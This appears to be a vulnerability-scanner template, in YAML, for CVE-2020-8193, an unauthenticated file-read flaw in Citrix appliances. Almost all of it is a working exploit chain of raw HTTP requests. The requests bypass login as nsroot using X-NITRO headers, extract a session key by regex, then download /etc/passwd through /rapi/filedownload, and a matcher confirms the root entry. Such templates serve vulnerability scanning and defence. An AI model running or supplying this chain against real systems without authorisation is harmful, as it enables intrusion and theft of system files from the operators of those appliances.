id: CVE-2020-8193
info:
name: Citrix unauthenticated LFI
author: pdteam
severity: high
# Source:- https://github.com/jas502n/CVE-2020-8193
requests:
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
- |
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/neo HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/stc HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: randkey
- |
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: randkey
cookie-reuse: true
# Using cookie-reuse to maintain session between each request, same as browser.
extractors:
- type: regex
name: randkey
part: body
internal: true
regex:
- "(?m)[0-9]{3,10}\\.[0-9]+"
# Using rand_key as dynamic variable to make use of extractors at run time.
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body